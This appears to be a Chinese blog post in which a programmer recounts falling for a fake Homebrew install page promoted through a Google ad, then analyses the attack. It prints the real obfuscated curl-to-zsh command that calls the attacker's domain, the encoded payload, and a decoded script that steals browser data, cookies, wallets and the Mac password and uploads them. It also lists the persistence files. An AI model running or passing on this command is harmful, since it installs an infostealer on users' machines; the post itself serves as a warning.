我在给MacBook安装Homebrew,打开谷歌搜索 Homebrew install,第一个出现的网站看起来和之前的 Homebrew 官网一样(现在搜索又看不到了,但是我从历史记录中导出了链接),我点进去显示以下画面:
第一眼我真没发现问题,直接点击复制按钮打开terminal去运行,还输入了密码,我发现运行一会终端自己退出了,这很奇怪,和之前的安装现象不一致,这时候我才开始怀疑,再次打开网页一看才发现端倪。这tm的是钓鱼网站,我一个程序员装 Homebrew 竟然也差点被端了,上了这b当,这不得扒了一遍修复一下。
首先攻击者买Google广告,把伪装安装页推在前面(无良Google啊,什么广告都接?),我之所以被套路还有个原因是当时同时显示了两个广告链接,macbook 分辨率调小之后,第二个链接之后的广告提示词没看到... 但真正恶心的地方在于,网站给的命令不是官方 Homebrew 安装地址,而是一条被混淆过的命令。中间还夹了 base64。就很脏了。
原始钓鱼命令:curl -kfsSL $(echo 'aHR0cDovL3Bkcm5jb3NtZXRpY3MuY29tL2N1cmwvOGZiN2E2OTQ1ZjQ1ZThkZjk2NzQyZTk2ODUyOWQwNzc2ZWRkMzIyOGMzNTBkNTI0Mjk0MWY3OWM4NmUyMDVlOA==' | base64 -D) | zsh
解析后:curl -kfsSL http://pdrncosmetics.com/curl/8fb7a6945f45e8df96742e968529d0776edd3228c350d5242941f79c86e205e8 | zsh
获取到的脚本内容为:
#!/bin/zsh
d17873=$(base64 -D <<'PAYLOAD_m187631410219309' | gunzip
H4sIAKFSLGoAA91WW2/bNhR+9684VRXDasDo4nsSNQ26AA2KtEPSYMG6wqBJyiYsU5pJL47b/vdR
lixRsoHtZS/ji8zDj9+5H/r1K3fKhbuV8xbFbJmISbQWRPFEdBz43gK92IYRuHQp+8sV6ziuZG+P
yIKGME4IjoEmS8xFaKV0JUgil0xxIs9IsrQMkEoWTGNG0XSIB+NeP+r12YhG48GwF7DxYNQPxtQb
DgeM0m4QjEi379F+0AvGPT8ajslowAJP3zApcconC/YSWpQNAhxEvSH1yZAyEozHw2jc9bHX9/DA
75uXIh6z0HLVMnUTieNkNuNidrblaQ7iEXwF+zWgmQIPvl2AmjOxO8kWWa9iQAtAEhBa4g1SfMmg
68EfJSRb6ANYj5Kt0PWMCXUOd8mWxzF2+2cedO4w4UIlcn4Bt0KxGLQAPj/AE/jexO9Phg5cp2nM
fmPTj1y5/e7wrDuwjmjQ7iPt/jnYRSCaIGuuVHruunaeIJe+CLzk5EptaGjv8tFOn/VP34IfoIMh
yYqnKs92LNn/1utDdyNuJP8KkGBHks82XIHfxH+FV4AisOyssDTzj2wvy/23JsuKqfVK1Hnyynz/
4fHTx8nD7e83od3p+B680bEJesXHcQzo3fXT5P7my/3tzUM4MuTrNE4wnXDtaYdixeD0RDrI7iQp
E1LGsMKCApqzDYzMXs6sZmSegH1//emXz3fFx6m1r8LxRPJtXhbVVmuSCqssBifb0u0GeY4gcFIG
xjECiLJ7FeMuiHUBYn9mCfn3scwvk/laLGQWTehUdHBqhBoQ+A64pqQWaR56u93zXFsNmojDZY1d
wy/0BCxtyq8lUSSZyjRznb+KvOCugDuSIpAVrARphTmVNrqCwlsjAdoAaLdrRB3TW1QwHKiWa0KY
lIWDlRwrxZapCv1SXjpfHMFlaJZgpr4ggzDUiWqEJFtZU05IQjPrKNWJD/elMpWhD3LB09AuXCXJ
WujYGf7WyqnR79kyJ9QT/Pr45QgGId0RGOn3EK9e4B06BvnPJ9heyz9Osdzictj6o+a03QESqOJy
5PgZrJPvZeR/HtPRnJYzPTWupmseU+OVMMZK+bOdp4cLyjahzdv1jjN3tWng1CzI8jbJhsNa37mq
HeWjwTYQxRTQxWaXPul3WleHdyCNlX6fjkyM/drXvl87qb16+9XpFFV/euo4h0QxYynojuvqDt23
xxsIGtBiOGWLJqJSor3UbXXQPAc21yZdg1DPmNK0kny1NF6llkHhtX62tNbG30GNfGdBu1K8e+y8
VhmR4vGL+N9EzSDPUwoAAA==
PAYLOAD_m187631410219309
)
eval "$d17873 "
这个脚本也很脏,让GPT给我解开后是:
#!/bin/zsh
daemon_function() {
# 1. 静默化:关闭输入、输出、错误
exec </dev/null
exec >/dev/null
exec 2>/dev/null
# 2. 写死攻击者配置
domain="pdrncosmetics.com"
token="8fb7a6945f45e8df96742e968529d0776edd3228c350d5242941f79c86e205e8"
api_key="de62a2f47d1c7dec2997f931a050a615"
file="/tmp/osalogging.zip"
# 3. 拉取动态 AppleScript 并执行
if [ $# -gt 0 ]; then
curl ... "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl ... "http://$domain/dynamic?txd=$token" | osascript
fi
# 4. 如果 AppleScript 没执行成功,退出
if [ $? -ne 0 ]; then
exit 1
fi
# 5. 检查是否生成了数据包
if [[ ! -f "$file" || ! -s "$file" ]]; then
return 1
fi
# 6. 设置分块上传参数
CHUNK_SIZE=10MB
MAX_RETRIES=8
upload_id="时间戳-随机值"
total_size="读取 /tmp/osalogging.zip 大小"
total_chunks="计算总分块数"
# 7. 循环读取 zip 的每一块,上传到 /gate
for each chunk:
用 dd 从 /tmp/osalogging.zip 取一段
curl -X PUT 上传到:
http://pdrncosmetics.com/gate?buildtxd=...&upload_id=...&chunk_index=...&total_chunks=...
如果失败,最多重试 8 次
# 8. 上传成功后删除本地 zip
rm -f /tmp/osalogging.zip
}
# 9. 后台执行
daemon_function "$@" &
主要流程:
让你终端什么都看不到,在后台运行
拉取并运行来自 pdrncosmetics.com 的 AppleScript payload,目标包括浏览器数据、保存登录数据、Cookie、钱包扩展、Telegram、桌面钱包文件、文档/密钥文件,以及通过假的 “System Preferences” 密码框骗 Mac 登录密码。这个命令还带了个参数,如果运行命令输入了密码,应该会将密码也传回去
坐等 /tmp/osalogging.zip 生成完
再切分为 10MB 分块上传,上传成功后删除本地文件,还tm的挺谨慎的
此时会发现电脑中会多一个恶意进程和LaunchAgent,分别是/Users/xxx/.local/com.apple.9d29ab1f.hcpi和~/Library/LaunchAgents/com.apple.9d29ab1f.hcpi.plist.
最后Goggle搜索了一下,一年前就有了这个,Google是干嘛了,一年了还不封。
希望大家不要和我一样被钓鱼了 ^-^ ^-^ ^-^